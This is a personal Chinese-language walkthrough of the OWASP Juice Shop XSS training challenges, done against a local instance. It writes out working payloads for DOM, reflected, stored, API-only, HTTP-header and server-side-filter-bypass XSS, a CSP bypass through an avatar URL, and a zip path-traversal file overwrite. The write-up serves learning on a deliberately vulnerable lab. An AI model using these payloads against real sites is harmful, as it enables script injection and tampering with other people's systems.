# XSS篇 ## [前言&安裝&記分板](https://hackmd.io/@numb2too/HkH6PdJdeg) # 前言 XSS做到一半 才發現原來有官方的[武功秘笈](https://help.owasp-juice.shop/appendix/solutions.html) 也感謝以下前輩們讓我學習了一課 * [OWASP Juice Shop XSS Challenges](https://medium.com/@aayushdharwal73/owasp-juice-shop-xss-challenges-88b06a0f59f5) * [Web Application Security Testing - XSS Injection Complete Guide OWASP Juice-Shop](https://www.youtube.com/watch?v=jN4a3TmBxR8) 第一次一樣幾乎都是抄作業QQ 幫自己加油 開始吧 # DOM XSS 題目 ```javascript! Perform a DOM XSS attack with <iframe src="javascript:alert(`xss`)">. ``` 這題有官方導覽因為是練習DOM 直接在`放大鏡`的`查詢欄位` 貼上payload即可 ```javascript! <iframe src="javascript:alert(`xss`)"> ``` 或是直接訪問包含上述payload的查詢網址也可 這是我直接透過`burpsuite`內建的`URL encoding`轉譯的 ```! http://localhost:3000/#/search?q=%3Ciframe%20src%3D%22javascript:alert(%60xss%60)%22%3E ``` 與網站實際跳的網址一致 ```! http://localhost:3000/#/search?q=%3Ciframe%20src%3D%22javascript:alert(%60xss%60)%22%3E ``` # Bonus Payload 題目 ```! Use the bonus payload <iframe width="100%" height="166" scrolling="no" frameborder="no" allow="autoplay" src="https://w.soundcloud.com/player/?url=https%3A//api.soundcloud.com/tracks/771984076&color=%23ff5500&auto_play=true&hide_related=false&show_comments=true&show_user=true&show_reposts=false&show_teaser=true"></iframe> in the DOM XSS challenge. ``` 操作跟上一題一模一樣 直接在`放大鏡`的`查詢欄位` 貼上payload即可 附上burpsuite轉譯的payload ```! http://localhost:3000/#/search?q=%3ciframe%20width%3d%22100%25%22%20height%3d%22166%22%20scrolling%3d%22no%22%20frameborder%3d%22no%22%20allow%3d%22autoplay%22%20src%3d%22https%3a%2f%2fw.soundcloud.com%2fplayer%2f%3furl%3dhttps%253A%2f%2fapi.soundcloud.com%2ftracks%2f771984076%26color%3d%2523ff5500%26auto_play%3dtrue%26hide_related%3dfalse%26show_comments%3dtrue%26show_user%3dtrue%26show_reposts%3dfalse%26show_teaser%3dtrue%22%3e%3c%2fiframe%3e%20 ``` 與網站實際跳的網址,有個地方不一致?! 但功能卻一樣`https%3a`與`https:` ```! http://localhost:3000/#/search?q=%3Ciframe%20width%3D%22100%25%22%20height%3D%22166%22%20scrolling%3D%22no%22%20frameborder%3D%22no%22%20allow%3D%22autoplay%22%20src%3D%22https:%2F%2Fw.soundcloud.com%2Fplayer%2F%3Furl%3Dhttps%253A%2F%2Fapi.soundcloud.com%2Ftracks%2F771984076%26color%3D%2523ff5500%26auto_play%3Dtrue%26hide_related%3Dfalse%26show_comments%3Dtrue%26show_user%3Dtrue%26show_reposts%3Dfalse%26show_teaser%3Dtrue%22%3E%3C%2Fiframe%3E%20 ``` > 我為什麼會發現不一樣是因為原本我用burpsuite轉譯出來的payload不能成功XSS > 所以才對照發現差異後,想說為什麼會有差異還查了為何burpsuite轉譯出來的跟瀏覽器的會不一樣。 > 花了一堆時間,得到的結論是應該都可以正常訪問才對結果?! 還真的很神奇的又突然可以了?! > 我就先不理這個奇怪的問題了XD # Reflected XSS 題目 ```! Perform a reflected XSS attack with <iframe src="javascript:alert(`xss`)">. ``` 先去下一張訂單 然後找訂單紀錄內的其中一張訂單 會發現`id`的`ad9b-82846559ababdfe9`顯示在畫面上 ```! http://localhost:3000/#/track-result?id=ad9b-82846559ababdfe9 ``` 這時把ID改成本題的payload即可通關 ```! http://localhost:3000/#/track-result?id=%3Ciframe%20src%3D%22javascript:alert(%60xss%60)%22%3E ``` > 做完這一題我不經納悶那reflected xss跟dom xss 到底差在哪裡?? > > 原本我以為點網址XSS就是reflected類,欄位輸入XSS屬於DOM,但AI給的解答懶人包: > Reflected XSS → 惡意內容經過伺服器回應才到瀏覽器。 > DOM-based XSS → 惡意內容不經過伺服器,直接在瀏覽器端被 JS 處理並執行。 > > 這樣應該可以理解為前兩題之所以歸類為DOM XSS > 是因為沒把XSS的payload傳到server直接顯示在前端 > > 而這題是有把XSS的payload傳到server所以歸類為reflected對吧?! # API-only XSS 題目 ```! Perform a persisted XSS attack with <iframe src="javascript:alert(`xss`)"> without using the frontend application at all. ``` * ### 方法一 快速payload如下,直接通關 ```bash! curl -X POST http://localhost:3000/api/Products \ -H 'Content-Type: application/json' \ -H 'Authorization: Bearer eyJ0eXAiOiJKV1...' \ -d '{"name": "XSS", "description": "<iframe src=\"javascript:alert(`xss`)\">", "price": 47.11}' ``` > token記得換成自己的 到查詢畫面最後一頁可看到你新增的product 點開product就中XSS了XD * ### 方法二 使用postman也可以 [kali安裝snap,再用snap裝postman參考](https://hackmd.io/@numb2too/ryYvLCdOgg) 官方武功祕笈貌似用postman  > Authorization的Bearer Token記得設定 好奇api/Products到底怎麼通靈出來的??? 思路會不會是這樣 1. 提示跟products有關,所以開sources找有沒有相關的API 2. 發現疑似API api/products 3. 拿來GET發現可查找全部products資料 * 意外發現也可透過此API搜尋指定products ```! http://localhost:3000/api/Products/?id=1 ``` 4. 透過回傳的結構用POST塞一個測試的body試試 ```jsonld! { "description": "<iframe src=\"javascript:alert(`xss`)\">" } ``` 5. 這樣也成功解題了,但查詢會壞掉XD 我猜應該是因為name是null的關係XD,不慌重啟server就好了XD # Client-side XSS Protection 題目 ```! Perform a persisted XSS attack with <iframe src="javascript:alert(`xss`)"> bypassing a client-side security mechanism. ``` 嘗試註冊一組帳號 發現api/Users 然後payload結束 ```jsonld! { "email":"<iframe src=\"javascript:alert(`xss`)\">", "password":"aaaaa", } ``` 用admin登入後來這就被XSS了 ``` http://localhost:3000/#/administration ``` > 這個網址在main.js大概可以猜到 > 因為有出現path: "administration"相關code > 但還是不知道到底怎知道從此api破口的QQ > 通靈? 還是因為教學用只是要讓我知道登入的地方有機會被client-side xss? # CSP Bypass 題目 ```! Bypass the Content Security Policy and perform an XSS attack with <script>alert(`xss`)</script> on a legacy page within the application. ``` > CSP(Content-Security-Policy),內容安全政策。 > 簡單講就是前端防止胡搞瞎搞的程式被執行 > 讓網站開發者告訴瀏覽器「哪些來源的資源是允許載入和執行的」,瀏覽器會依照這個規則阻擋不在清單上的內容。 > CSP 可以限制的資源類型包括: > > * `script-src` → 限制 JS 來源(防 XSS 的關鍵) > * `style-src` → 限制 CSS 來源 > * `img-src` → 限制圖片來源 > * `font-src` → 限制字型來源 > * `connect-src` → 限制 AJAX / WebSocket 的連線目標 > * `frame-src` / `child-src` → 限制 iframe 來源 > * `media-src` → 限制音樂 / 影片來源 > 可參考[文獻](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Security-Policy) 到個人資料頁面 ```! http://localhost:3000/profile ``` 發現username的資料會顯示在大頭貼下方 合理判定這裡可能可以XSS 但第一波嘗試失敗 ```! <script>alert(`xss`)</script> ``` 變成 ```! \lert(`xss`) ``` 表示有過濾機制,但過濾的不太完整 第二波嘗試 ```! <<a|ascript>alert(`xss`)</script> ``` 顯示變成 ```! \ ``` 攻略秘笈表示,這應該是因為CSP擋住不給執行導致 於是開啟burpsuite發現/profile的確存在CSP ```! http://localhost:3000/profile ```  這CSP竟然跟大頭貼的URL有關西 所以payload,結束 ```! http://aa.com; script-src 'unsafe-inline' 'self' 'unsafe-eval' ``` > 主要是後面的script-src 讓他不要限制js > AI補充說明: > 這個 Juice Shop 的練習中看到的 「用大頭貼 URL 改 CSP」 是因為該網站剛好有一個邏輯漏洞: > > 後端會根據你提供的圖片 URL 去動態修改 Content-Security-Policy (CSP) 標頭 > > 而且在處理「多個相同 CSP 指令」時,它採用了「第一個優先」的策略 > > 所以我們可以藉由提供一個特製 URL,讓它把 script-src 改成允許 unsafe-inline、外部 JS,進而繞過原本的 CSP 限制 > > 但 CSP bypass 的手法不只有這種,還有很多其他情況 > 關鍵是 找到能影響 CSP 白名單或載入點的使用者輸入。 # HTTP-Header XSS 題目 ```! Perform a persisted XSS attack with <iframe src="javascript:alert(`xss`)"> through an HTTP header. ``` 透過last login ip頁面可看到最後登入的IP server重啟第一次登入後,來此頁面看到的IP可能是?或是0.0.0.0 ```! http://localhost:3000/#/privacy-security/last-login-ip ``` 為什麼沒有正常的IP原因在此 用F12>network 發現只要登出 就會有個 /saveLoginIp response發現有IP 猜測登出會存一次lastLoginIp ```! lastLoginIp "127.0.0.1" ``` 官方武功祕笈先用/saveLoginIp 新增`X-Forwarded-For` header嘗試修改lastLoginIp,但失敗了 後來發現`True-Client-IP`可行,所以payload來了 ```! True-Client-IP: <iframe src="javascript:alert(`xss`)"> ``` > 用True-Client-IP修改IP成功後,重新登入再去last login ip頁面看,會是你自己修改的IP,所以payload下去,依樣來此頁面就會XSS了 > 另外不知道為什麼burpsuite的瀏覽器,不知為何看不到修改後的IP也沒有跳出XSS視窗,但是payload下去一樣跳通關XD。 > 所以後續才改用F12操作(第一次用resend而且發現network的篩選真好用XD),才看到完整攻擊畫面。  # Server-side XSS Protection 題目 ```! Perform a persisted XSS attack with <iframe src="javascript:alert(`xss`)"> bypassing a server-side security mechanism. ``` 來去評論頁面 http://localhost:3000/#/contact. payload,通關 ```! <<script>Foo</script>iframe src="javascript:alert(`xss`)"> ``` 可以到關於頁面,最後一個留言觸發XSS http://localhost:3000/#/about 或是來admin頁面也會出發XSS http://localhost:3000/#/administration 官方武功祕笈有補充說明 透過package.json.bak可以發現juice-shop使用有漏洞的版本套件 `"sanitize-html": "1.4.2"`  透過[參考文獻](https://github.com/advisories/GHSA-3j7m-hmh3-9jmp)可發現sanitize-html-1.4.3的改版說明就有提到修復此漏洞([CVE-2016-1000237](https://nvd.nist.gov/vuln/detail/CVE-2016-1000237)) 也有提供該漏洞的[issue](https://github.com/apostrophecms/sanitize-html/issues/29)有提到最初有人反映應該遞迴過濾而不是只過濾一次 # Video XSS * 題目 ```! Embed an XSS payload </script><script>alert(`xss`)</script> into our promo video. ``` * 透過juice-shop[官方推特(X)](https://x.com/owasp_juiceshop/status/1350381894010077184)可發現該網站有此頁面可拜訪 http://localhost:3000/promotion * 在該頁面發現此影片路徑 ```! /assets/public/videos/owasp_promo.mp4 ```  * 實際拜訪該路徑,的確可訪問影片 http://localhost:3000/assets/public/videos/owasp_promo.mp4 * 由於原影片有自動撥放CC字幕,而字幕是 WebVTT 格式,可以猜測影片旁邊有對應的 .vtt 檔。果然字幕路徑也訪問成功 http://localhost:3000/assets/public/videos/owasp_promo.vtt > 如果是 HTML5 video 標籤內直接用 track 加字幕,瀏覽器原生支援的幾乎只有 [WebVTT](https://zh.wikipedia.org/zh-tw/WebVTT)(.vtt),這是 [W3C](https://zh.wikipedia.org/wiki/%E4%B8%87%E7%BB%B4%E7%BD%91%E8%81%94%E7%9B%9F) 標準規定的。 * 由於字幕不是瀏覽器動態載入的,而是 伺服器端嵌入 HTML 中,如果嵌入過程缺乏安全檢查,攻擊者就可以利用惡意字幕檔進行 XSS 攻擊。  * 這時我們要先學會解另一道題目XD,利用上傳ZIP檔案後,server解壓ZIP沒確認解壓路徑造成重要檔案被覆蓋的漏洞。參考[此題](https://hackmd.io/@numb2too/rJbrrFK_ge#Arbitrary-File-Write)。但會遇到一個問題 `../../assets/public/videos/`路徑覆蓋失敗 * 要覆蓋的相對路徑在哪裡 透過一些蛛絲馬跡可發現juice-shop是透過`Angular CLI`打包的 從程式碼內容判斷打開 `main.js` 會看到開頭有: ```js "use strict"; (self.webpackChunkfrontend = self.webpackChunkfrontend || []).push([...]) ``` 其中 `webpackChunkfrontend` 的名稱通常是 Angular 專案的名稱(在這裡叫 `frontend`)。 Angular CLI 在打包時會使用 Webpack 並產生這種 `webpackChunk[projectName]` 的結構。 網站的靜態資源路徑是: ``` /assets/public/videos/ ``` Angular CLI 打包後會把 `src/assets/` 的內容放到: ``` dist/[專案名]/assets/ ``` 所以得到了此路徑,但很可惜還是失敗 ``` /dist/frontend/assets/public/videos/ ``` 發現github中src上層其實還包了frontend資料夾 最終我得到了 ``` frontend/dist/frontend/assets/public/videos/ ``` * 準備含有payload的`owasp_promo.vtt`檔案 ``` </script><script>alert(`xss`)</script> ``` > 為什麼前面要加</script>,原來是因為類似SQLI要讓前面的<script>先結束,後續好好執行<script>alert(`xss`)</script>。 > 但我又想,為什麼不</script><script>alert(`xss`)就好了 原來是因為有結尾</script>會提早/直接執行alert(`xss`) 若沒有</script>則會變成開了新的 <script> 但 沒關閉,所以 HTML 解析器會一直把後面整份文件都當成 JS,直到遇到下一個 </script> 為止 這可能會造成頁面其他 HTML 全部壞掉,且攻擊不穩定(因為需要依賴後面剛好有 </script> 才能正常結束) * 壓縮成ZIP,Linux直接服用語法 ``` zip exploit.zip ../../frontend/dist/frontend/assets/public/videos/owasp_promo.vtt ``` > 透過[Arbitrary File Write](https://hackmd.io/@numb2too/rJbrrFK_ge#Arbitrary-File-Write)此題的手法。我們得知相對路徑層數在../../ > 且這邊要注意,官方武功祕笈提供的路徑與實際路徑有些回差異,因此資料夾名稱也要記得弄對QQ * 去complain畫面上傳ZIP http://localhost:3000/#/complain * 去看影片,出現XSS表示字幕檔覆蓋成功,並通關 http://localhost:3000/promotion # 心得 結束搂~  這次嘗試新的排版? 也透過官方的引導與[攻略](https://help.owasp-juice.shop/appendix/solutions.html)學到了很多 先去吃飯,之後有想到什麼再補充 如果上述內容有什麼不正確 或是有大老熱心補充 可以再一起討論~ 也可看看上一篇[injection心得](https://hackmd.io/@numb2too/Skndxik_xx) 感謝收看
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up